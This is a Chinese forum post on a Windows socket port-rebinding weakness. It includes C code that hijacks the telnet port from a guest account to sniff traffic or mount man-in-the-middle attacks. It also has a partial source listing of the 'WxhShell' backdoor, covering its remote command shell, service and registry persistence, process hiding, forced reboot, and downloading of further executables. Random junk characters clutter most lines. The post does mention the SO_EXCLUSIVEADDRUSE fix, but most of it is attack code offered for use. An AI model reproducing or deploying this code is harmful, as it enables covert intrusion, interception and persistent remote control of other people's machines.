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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {o5K?Pb  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <_sT]?N #  
cP#]n)<  
  saddr.sin_family = AF_INET; k9_VhR|!  
)HzITsFZKT  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ek{PA!9Sk  
2,XqslB)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); f<> YYeY  
Xg!|F[i  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $ vw}p.  
P2 K>|r  
  这意味着什么?意味着可以进行如下的攻击: -YRL>]1  
Y%CL@G60  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5>1Y="B  
/H;kYx  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) P7>C4rmQ  
J%Z)#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 y`B!6p 5j  
VI|DM x   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $p6Xa;j$9  
2p3u6\y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Pu%>j'A  
uDE91.pUkr  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  Sj{rvW  
@'<j!CqQ o  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1[gjb((  
bZOy~F|  
  #include l>5]Wd{/  
  #include h-_0 A]  
  #include 5k%N<e` `  
  #include    y8~)/)l&  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6rN5Xf cS  
  int main() }'.Sn{OWf  
  { S~a:1 _Wl  
  WORD wVersionRequested; WH*=81)zp  
  DWORD ret; K_lL\  
  WSADATA wsaData; Wse*gO  
  BOOL val; Znh uIA AG  
  SOCKADDR_IN saddr; KEVy%AP=*h  
  SOCKADDR_IN scaddr; oIL+@}u7  
  int err; f\F_?s)_y  
  SOCKET s; Q!+{MsZ  
  SOCKET sc; Q RmQ>  
  int caddsize; g*AD$":  
  HANDLE mt; SE}RP3dF!  
  DWORD tid;   sO4}kxZ  
  wVersionRequested = MAKEWORD( 2, 2 ); ! ?U^+)^$  
  err = WSAStartup( wVersionRequested, &wsaData ); |b'<XQ&l5  
  if ( err != 0 ) { k89gJ5B$  
  printf("error!WSAStartup failed!\n"); (+Kof  
  return -1; C"` 'Re5)  
  } NK#"qK""k  
  saddr.sin_family = AF_INET; %]sEt{  
   8.Own=G?  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :V-}Sde  
}zS&H-8K  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %qjyk=z+Z  
  saddr.sin_port = htons(23); seV;f^-hR  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &CeF^   
  { )|^<woli,  
  printf("error!socket failed!\n"); 5wFS.!xD  
  return -1; `E0.PV  
  } AGJ=de.  
  val = TRUE; ]I' xLh`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 OD/P*CQ_  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) HxqV[|}0u  
  { 9@z|2z2\G  
  printf("error!setsockopt failed!\n"); 6!Ji>h.Ak  
  return -1; _:=OHURc  
  } gK#fuQ$hH  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; x< y[na  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 fJ"~XTN}T  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 L+ETMk0  
QGz3id6  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) pQMpkAX  
  { xEZVsz  
  ret=GetLastError(); @61N[  
  printf("error!bind failed!\n"); _BLSI8!N@  
  return -1; ;Y XrG  
  } {6y.%ysU  
  listen(s,2); [[r3fEr$!p  
  while(1) p$o&dQ=n[  
  { [qD<U%Hi  
  caddsize = sizeof(scaddr); dj&m  
  //接受连接请求 >Hzb0N!VJ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); t?H;iBrpxd  
  if(sc!=INVALID_SOCKET) pB7Z;&9  
  { 8YLZ)k'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); t5v)6|  
  if(mt==NULL) GH+FZ (F  
  { *rFbehfH  
  printf("Thread Creat Failed!\n"); )%@WoBRj  
  break; A8Z?[,Mq!  
  } *2C79hi1  
  } mF:s-+  
  CloseHandle(mt); ABe^]HlH  
  } !2M[  
  closesocket(s); K2o0L5Lke  
  WSACleanup(); *9{Wn7pck/  
  return 0; %TTL^@1!b  
  }   ecI 2]aKi  
  DWORD WINAPI ClientThread(LPVOID lpParam) {2*l :'  
  { iXS-EB/  
  SOCKET ss = (SOCKET)lpParam; hsVJ&-#  
  SOCKET sc; Sq8Q *  
  unsigned char buf[4096]; B';> Hk  
  SOCKADDR_IN saddr; T2_#[bk*d  
  long num; Ihq@|s8  
  DWORD val; a;owG/\p  
  DWORD ret; V?z{UZkR  
  //如果是隐藏端口应用的话,可以在此处加一些判断 `1}?{ud  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `iayh  
  saddr.sin_family = AF_INET; wOkJ:k   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); w |FV qX  
  saddr.sin_port = htons(23); QOy&!6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z.Kq}r^  
  { wp GnS  
  printf("error!socket failed!\n"); Rf0\CEc  
  return -1; JEF7hJz~  
  } YM* 6W?  
  val = 100; '2J6%Gg  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QV7c9)<]'}  
  { o@`E.4  
  ret = GetLastError(); _@;3$eB  
  return -1; XoiYtx53  
  } /F}\V ^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?CZD^>6  
  { 8 ]MzOGB8  
  ret = GetLastError(); NITx;iC  
  return -1; z'D{:q  
  } >N1]h'q>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) HV7(6VSJ+  
  { :#htOsP  
  printf("error!socket connect failed!\n"); Qr-J-2s?B  
  closesocket(sc); 7-g4S]r<  
  closesocket(ss); +9F#~{v`4a  
  return -1; p[cL# fBz  
  } >!F,y3"5S  
  while(1) RGuHXf  
  { j3-6WUO  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >^GCSPe  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 g E+OQWu  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 K 0H!Ds9  
  num = recv(ss,buf,4096,0); J6Nw-qF  
  if(num>0) T*~)9o  
  send(sc,buf,num,0); "?&bh@P&  
  else if(num==0) 29657k8  
  break; 4 Wd5Goe:  
  num = recv(sc,buf,4096,0); ]3u'Qv}o  
  if(num>0) ,(W98}nB  
  send(ss,buf,num,0); z\d2T%^:g(  
  else if(num==0) 9<c4y4#y  
  break; `v2l1CQ: ^  
  } Ngc+<  
  closesocket(ss); w$:)wyR-  
  closesocket(sc); `e|Lw  
  return 0 ; R eu J=|F  
  } |&'] ms5J  
)t|Q7$ v1  
!Jn w_)  
========================================================== X0QS/S-+  
}lpm Hvs  
下边附上一个代码,,WXhSHELL 2Wf qgR[3  
v+bjC  
========================================================== koY8=lh/  
q0Lt[*q3R  
#include "stdafx.h" VCRv(Ek  
tsVhPo]e0  
#include <stdio.h> cB=u;$k@*  
#include <string.h> >:E-^t%  
#include <windows.h> Ic!83-  
#include <winsock2.h> 2]*~1d  
#include <winsvc.h> l:,UN07s  
#include <urlmon.h> B{(l 5B6  
BQ0PV  
#pragma comment (lib, "Ws2_32.lib") BXw,Rz }  
#pragma comment (lib, "urlmon.lib") P]{.e UB@c  
-"K:ve(K  
#define MAX_USER   100 // 最大客户端连接数 U)]natB  
#define BUF_SOCK   200 // sock buffer #%tL8/K*  
#define KEY_BUFF   255 // 输入 buffer A"VXs1>_^  
k 0Yixa  
#define REBOOT     0   // 重启 B4&pBiG&f6  
#define SHUTDOWN   1   // 关机 #e269FwN  
/O9EI'40)  
#define DEF_PORT   5000 // 监听端口 =u"|qD  
lS-i9U/,>  
#define REG_LEN     16   // 注册表键长度 geSo#mV  
#define SVC_LEN     80   // NT服务名长度 1)Bi>X  
:.df(1(RL  
// 从dll定义API U2nRgd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3g:+p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <r3n?w8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x99 Oq!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v("vUqhx2+  
}AYSQ~:  
// wxhshell配置信息 7Q}@L1A9F,  
struct WSCFG { h l'k_<a*  
  int ws_port;         // 监听端口 gdNp2b  
  char ws_passstr[REG_LEN]; // 口令 j&GKpt  
  int ws_autoins;       // 安装标记, 1=yes 0=no K): sq{  
  char ws_regname[REG_LEN]; // 注册表键名 :#jv4N  
  char ws_svcname[REG_LEN]; // 服务名 jk}PucV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &bu`\|V  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `.WKU"To  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o e"ShhT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4\es@2q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /loN Outw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Bd[Gsns  
1V?)zp  
}; a Z, Wa-k  
0EU4irMa  
// default Wxhshell configuration (OJ9@_fgG[  
struct WSCFG wscfg={DEF_PORT, V@-GQP1  
    "xuhuanlingzhe", ~J:lC u  
    1, K L~sEli  
    "Wxhshell", m uY^Fx  
    "Wxhshell", L$Z_j()2  
            "WxhShell Service", [_1G\z_iE  
    "Wrsky Windows CmdShell Service", ^ ?9 ~R"  
    "Please Input Your Password: ", *.l=> #qF  
  1, 2Jv4l$$;*  
  "http://www.wrsky.com/wxhshell.exe", S-|$sV^cG  
  "Wxhshell.exe" Ooy96M~_G  
    }; 6mLE-( Z7  
<P- r)=^  
// 消息定义模块 K\Q 1/})  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j,jUg}b  
char *msg_ws_prompt="\n\r? for help\n\r#>"; QNEaj\   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a9-;8`fCR  
char *msg_ws_ext="\n\rExit."; ,CF~UX% bU  
char *msg_ws_end="\n\rQuit."; ^KR(p!%  
char *msg_ws_boot="\n\rReboot..."; ^o:5B%}#[  
char *msg_ws_poff="\n\rShutdown..."; >UH=]$0N  
char *msg_ws_down="\n\rSave to "; +?tNly`  
<{kj}nxz  
char *msg_ws_err="\n\rErr!"; J1t?Qj;f3  
char *msg_ws_ok="\n\rOK!"; j<?4N*S  
ABGL9;.8  
char ExeFile[MAX_PATH]; ZVU)@[s  
int nUser = 0; WU_Q 7%+QS  
HANDLE handles[MAX_USER]; 8+F2 !IM  
int OsIsNt; 5]JXXdt  
DLZ63'  
SERVICE_STATUS       serviceStatus; 6}2Lt[>O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; omP 7|  
cG6+'=]3<  
// 函数声明 \v Go5`  
int Install(void); 4+:u2&I  
int Uninstall(void); n\U6oJN  
int DownloadFile(char *sURL, SOCKET wsh); r$zXb9a|<  
int Boot(int flag); E;0"1 P|S  
void HideProc(void); JJXf%o0yq  
int GetOsVer(void); <h[^&CY{  
int Wxhshell(SOCKET wsl); ,0xN#&?Ohh  
void TalkWithClient(void *cs); 7\lc aC@  
int CmdShell(SOCKET sock); _`58G#z  
int StartFromService(void); zV#k #/$  
int StartWxhshell(LPSTR lpCmdLine); St<\qC  
5Z{[.&x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p*A//^wQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Dl6zl6q?  
d[de5Xra  
// 数据结构和表定义 0c) 19Ig  
SERVICE_TABLE_ENTRY DispatchTable[] = YQJ_t@0C  
{ mi?Fy0\  
{wscfg.ws_svcname, NTServiceMain}, s!Vtw p9  
{NULL, NULL} yMxS'j1  
}; i8F~$6C  
1'U-n{fD  
// 自我安装 x g@;d  
int Install(void) .w&Z=YM  
{ ?##GY;#  
  char svExeFile[MAX_PATH]; oT w1w  
  HKEY key; -v] 0@jNe  
  strcpy(svExeFile,ExeFile); 8~7EWl  
'yqp   
// 如果是win9x系统,修改注册表设为自启动 Lm/^ 8V+  
if(!OsIsNt) { ~ nIZ g5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ezeGw?/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1Cthi[ B  
  RegCloseKey(key); Gf>T{Q`,is  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;x"B ):?\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1L ow[i  
  RegCloseKey(key); z$A5p4=B'^  
  return 0; l8Ox]%F  
    } p /:L;5F  
  } ;2^=#7I?  
} dc* #?G6^  
else { UNJ|J$T]  
<?eZ9eB  
// 如果是NT以上系统,安装为系统服务 $!t!=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KT}}=st%  
if (schSCManager!=0) X |as1Y$O+  
{ q4E{?  
  SC_HANDLE schService = CreateService 3D3K:K!FK  
  ( )xU70:X  
  schSCManager, #cA}B L!3  
  wscfg.ws_svcname, _]NM@'e  
  wscfg.ws_svcdisp, @: NrC76  
  SERVICE_ALL_ACCESS, aOOY_S E  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aG!!z>  
  SERVICE_AUTO_START, ^?,/_3  
  SERVICE_ERROR_NORMAL, k5 8lmuU  
  svExeFile, #~Q0s)Ze  
  NULL, ax$0J|}7  
  NULL, cuHs`{u@P  
  NULL, /<5/gV 1Q  
  NULL, tfsG P]9$  
  NULL zR:S.e<  
  ); /#HY-b  
  if (schService!=0) HV>Wf"1  
  { CUoMB r  
  CloseServiceHandle(schService); nt7ui*k  
  CloseServiceHandle(schSCManager); sfH|sp  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0&Qn7L  
  strcat(svExeFile,wscfg.ws_svcname); ($-o"y"x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?tBEB5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |tmD`ndO  
  RegCloseKey(key); NWf!c-':  
  return 0; #nnP.t m  
    } @|M10r9E  
  } nt4>9;  
  CloseServiceHandle(schSCManager); +I U]=qS  
} ( mycUU%  
} @$aCUJ/mE  
6w54+n  
return 1; s)>]'ii  
} SFuzH)+VO  
E~24b0<7  
// 自我卸载 X|b~,X%N  
int Uninstall(void) FT=w`NE,+  
{ StE4n0V  
  HKEY key; VF4F7'  
ks! G \<I  
if(!OsIsNt) { tTY(I1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7oUYRqd  
  RegDeleteValue(key,wscfg.ws_regname); *l|CrUa  
  RegCloseKey(key); BPW:W }  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g{&ux k);  
  RegDeleteValue(key,wscfg.ws_regname); OUD<+i,  
  RegCloseKey(key); ,5nrovv  
  return 0; \aG>(Mr  
  } 1=s%.0  
} 4ed( DSN  
} qsJo)SA  
else { ")TI,a`  
)y8$-"D(it  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s+4G`mq>*  
if (schSCManager!=0) 5}1cNp6@  
{ rZ^DiFR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); QjPcfR\  
  if (schService!=0) >XA#/K  
  {  N3E=t#n  
  if(DeleteService(schService)!=0) { [IMa0qs'  
  CloseServiceHandle(schService); idV4hMF9  
  CloseServiceHandle(schSCManager); sb;81?|  
  return 0; f9!wO';P6  
  } *@/! h2  
  CloseServiceHandle(schService); m]V5}-?al  
  } !Y5O3^I=u  
  CloseServiceHandle(schSCManager); m'Wz0b^BO  
} 8c#u"qF  
} ybfNG@N*  
&B[$l`1  
return 1; ?QZ\KY  
} BK,= (;d3  
Y6V56pOS  
// 从指定url下载文件 2@=JIMtc  
int DownloadFile(char *sURL, SOCKET wsh) ^>[Z~G($  
{ RXh/[t+  
  HRESULT hr; bA1uh]oB  
char seps[]= "/"; XjWoUnz  
char *token; WPLAh_fe  
char *file; `_<K#AGAi  
char myURL[MAX_PATH]; V\Rbnvq  
char myFILE[MAX_PATH]; >0{{ loqq  
T-eeYw?Yf  
strcpy(myURL,sURL); Cdc6<8  
  token=strtok(myURL,seps); \acjv|]  
  while(token!=NULL) Uq7 y4zJ  
  { + 6O5hZ  
    file=token; 'a*tee ^RS  
  token=strtok(NULL,seps); &c0U\G|j  
  } ZY=x$($f  
@2]_jW  
GetCurrentDirectory(MAX_PATH,myFILE);  z>hA1*Ti  
strcat(myFILE, "\\");  |G{TA  
strcat(myFILE, file); kE=}.  
  send(wsh,myFILE,strlen(myFILE),0); ^b'|`R+~}  
send(wsh,"...",3,0); G!@tW`HO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GYZzWN}U  
  if(hr==S_OK) (@~d9PvB>  
return 0; JZ'`.yK:  
else MJb!+E+  
return 1; Uk5jZ|  
)9,9yd~SI  
} GAV|x]R  
h0L *8P`t  
// 系统电源模块 3S ,D~L^  
int Boot(int flag) | x/,  
{ $Ic: c  
  HANDLE hToken; l}># p'$  
  TOKEN_PRIVILEGES tkp; Y;4nIWe JL  
>#<o7]  
  if(OsIsNt) { fHdPav f,S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )EcE{!H6+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ag^Cb'3X  
    tkp.PrivilegeCount = 1; #toKT_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1 @tVfn}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y[#i(5w  
if(flag==REBOOT) { H0_hQ:K   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Oe5=2~4O  
  return 0; 1@im+R?a  
} Pl9/1YhD/  
else { '/G.^Zl9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aj85vON1`  
  return 0; e}D#vPaSY  
} .-Ggvw  
  } H[BY(a@c  
  else { cK"b0K/M?B  
if(flag==REBOOT) { #/\5a;Elc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E80C0Q+V  
  return 0; HI*xk  
} s8Xort&   
else { FE,&_J"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $_%yr ~2  
  return 0; M S)(\&N  
} /{#1w\  
} "z8L}IC!e5  
.n'z\] -/Q  
return 1; ppP7jiGo  
} "X=l7{c/  
=0cyGo  
// win9x进程隐藏模块 K\v1o  
void HideProc(void) 3XjM@D  
{ hlWTsi4N  
Xkk m~sM6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eYLeytF]Uy  
  if ( hKernel != NULL ) |t5K!?{i  
  { ?KDI'>"-v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R-+k>_96|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HZ* <BjE:"  
    FreeLibrary(hKernel); VQI  
  } 9 N[k ?kUZ  
c$ya{]a  
return; `}Ssc-A  
} RoFy2A=_  
}J$Q  
// 获取操作系统版本 x'tYf^Va28  
int GetOsVer(void) n$i}r\ so  
{ bX23F?  
  OSVERSIONINFO winfo; \#Ez["mD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sS7r)HV&GI  
  GetVersionEx(&winfo); VC,wQb1J/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?{ns1nW:  
  return 1; I'%vN^e^  
  else qc;9{$?xV  
  return 0; &_n~#Mex  
} rf?Q# KM\W  
f^\qDvPur  
// 客户端句柄模块 ~ x- R78'  
int Wxhshell(SOCKET wsl) O RAKg.49  
{ M[LjN  
  SOCKET wsh; z'GYU=  
  struct sockaddr_in client; xj~5/)XX|X  
  DWORD myID; H48`z'o  
:f<3`x'  
  while(nUser<MAX_USER) ]U.1z  
{ Au(zvgP  
  int nSize=sizeof(client); 8(J&_7u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \x\_I1|  
  if(wsh==INVALID_SOCKET) return 1; bR"hl? &c  
p}_n :a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~Q}JC3f>  
if(handles[nUser]==0) rw/WD(  
  closesocket(wsh); x2/L`q"M?=  
else })f4`$qf  
  nUser++; L8sHG$[  
  } :\[W]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5RD\XgyN]  
$Kw)BnV  
  return 0; 6fV%[.RR  
} 9un* 1%  
kW=g:m  
// 关闭 socket QhUv(]0   
void CloseIt(SOCKET wsh) O CIWQ/ P  
{ L>VZ-j  
closesocket(wsh); QwPL y O  
nUser--; SUwSZ@l^|  
ExitThread(0); Wm!lWQu7  
} RQiGKz5  
,w&8 &wj  
// 客户端请求句柄 zG)XB*c  
void TalkWithClient(void *cs) j}}:&>;  
{ |eH >55 b  
e%. Xya#\  
  SOCKET wsh=(SOCKET)cs; Hg$t,\j  
  char pwd[SVC_LEN]; ~u| k1  
  char cmd[KEY_BUFF]; R+,eXjz"  
char chr[1]; m:U.ao6  
int i,j; gw[\7  
`@?f@p$(B  
  while (nUser < MAX_USER) { <,/k"Y=  
9ReH@5_bGM  
if(wscfg.ws_passstr) { "#Ov!t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]gI>ay"\QA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 49. @Uzo  
  //ZeroMemory(pwd,KEY_BUFF); 1haNca_6,  
      i=0; mRVE@ pc2X  
  while(i<SVC_LEN) { #m yiZL %  
&s m7R i  
  // 设置超时 HRP4"#9R  
  fd_set FdRead; ]r++YIg!j  
  struct timeval TimeOut; 4JF)w;X}  
  FD_ZERO(&FdRead); mHcxK@qw  
  FD_SET(wsh,&FdRead); ?z,^QjQ}  
  TimeOut.tv_sec=8; IRy!8A=X  
  TimeOut.tv_usec=0; fT9z 4[M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uLFnuK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rz/^_dV  
A0Z<1|6r*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &+F|v(|r  
  pwd=chr[0]; . !gkJ  
  if(chr[0]==0xd || chr[0]==0xa) { LS1r}cl  
  pwd=0; F~j U;L  
  break; /O@'XWW  
  } !J<}=G5  
  i++; {c5%.<O  
    } m?LnO5Vs  
Gd^K,3:. T  
  // 如果是非法用户,关闭 socket LvP{"K;   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |KSd@   
} Fh  t$7V  
Z#H] yG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q:2Vw`g'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $r0~& $T&  
x\HHu]  
while(1) { t\YN\`XD  
d:KUJ Y.  
  ZeroMemory(cmd,KEY_BUFF); .1F(-mLd  
xRu m q  
      // 自动支持客户端 telnet标准   $gKMVgD"  
  j=0; zQY|=4NP  
  while(j<KEY_BUFF) { N~I2~f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qn`$xY9mT  
  cmd[j]=chr[0]; ^@W98_bd;  
  if(chr[0]==0xa || chr[0]==0xd) { *5KV DOd  
  cmd[j]=0; }*vUOQQp*  
  break; 8Q $fXB  
  } )na 8a!  
  j++; 7PE3>cD  
    } ) xRm  
hCXSC*;  
  // 下载文件 qf7:Q?+.|  
  if(strstr(cmd,"http://")) { < H1+qN=]`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); iq s  
  if(DownloadFile(cmd,wsh)) d GEMrjx  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); iCA!=%M@D  
  else C'~K amS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &=bWXNU.  
  } j#KL"B_ A  
  else { {O\>"2}m'f  
?,Z[)5 ZN  
    switch(cmd[0]) { -mD<8v[F  
  f5)4H  
  // 帮助 cW+6Emh  
  case '?': { ZM)Y Rdh  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #is1y3yh  
    break; LR:Qb]|"  
  } :^ 9sy  
  // 安装 &{#4^.Q  
  case 'i': { bcgh}D  
    if(Install()) OC)~psQK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "6.JpUf  
    else P bR6>'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _Ju@<V$  
    break; UsT+o  
    } !@ERAPuk  
  // 卸载 ;Dl< GW3<  
  case 'r': { "T>74bj_|Q  
    if(Uninstall()) k+*DPo@)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V*an0@  
    else SSi-Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~(%TQY5  
    break; 'G3;!xk$  
    } :\ %.x3T'  
  // 显示 wxhshell 所在路径 ^4jIT1  
  case 'p': { f? sW^ d;  
    char svExeFile[MAX_PATH]; 4[@`j{  
    strcpy(svExeFile,"\n\r"); j 8lWra\y  
      strcat(svExeFile,ExeFile); -b1VY4m-  
        send(wsh,svExeFile,strlen(svExeFile),0); 6.]x@=Wm  
    break; kbij Zj{  
    } lWYZAF>?Ym  
  // 重启 3hzI6otKS  
  case 'b': { Q/e$Ttt4J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OKDBzl  
    if(Boot(REBOOT)) Vq7L:,N9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9 C-!I,  
    else { -8- BVU  
    closesocket(wsh); L%D:gy9o  
    ExitThread(0); RS`]>K3t  
    }  '%! '1si  
    break; EH;w <LvT  
    } L,I5/K6  
  // 关机 -C9 _gZ  
  case 'd': { a-I3#3VJ@  
